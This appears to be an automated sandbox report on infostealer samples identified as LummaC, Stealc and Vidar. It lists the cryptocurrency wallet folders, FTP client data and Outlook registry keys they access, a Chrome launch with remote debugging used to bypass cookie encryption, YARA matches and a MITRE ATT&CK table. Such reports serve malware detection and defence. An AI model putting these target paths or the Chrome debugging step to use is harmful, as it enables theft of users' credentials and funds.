Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\random(4).exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS

Source: Yara match	File source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.4119625833.000000000165D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3968382392.0000000001382000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3869502337.0000000001382000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.4156576126.000000000165D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3896221310.0000000001382000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2313455015.00000000007EC000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.4074538250.00000000013D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random(4).exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9ce3a8a3dc.exe PID: 8044, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: random(4).exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9ce3a8a3dc.exe PID: 8044, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 4.2.NU4SX64NXMV3YXYV8G3PIA0S0.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.334592f815.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.3711440745.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.4097470810.00000000003D1000.00000040.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3714687550.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2313455015.0000000000721000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NU4SX64NXMV3YXYV8G3PIA0S0.exe PID: 4144, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	258 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	212 Process Injection	22 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	11 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	981 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	461 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	461 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	212 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random(4).exe	58%	Virustotal		Browse
random(4).exe	47%	ReversingLabs	Win32.Trojan.Cerbu
random(4).exe	100%	Avira	TR/Crypt.TPM.Gen
random(4).exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
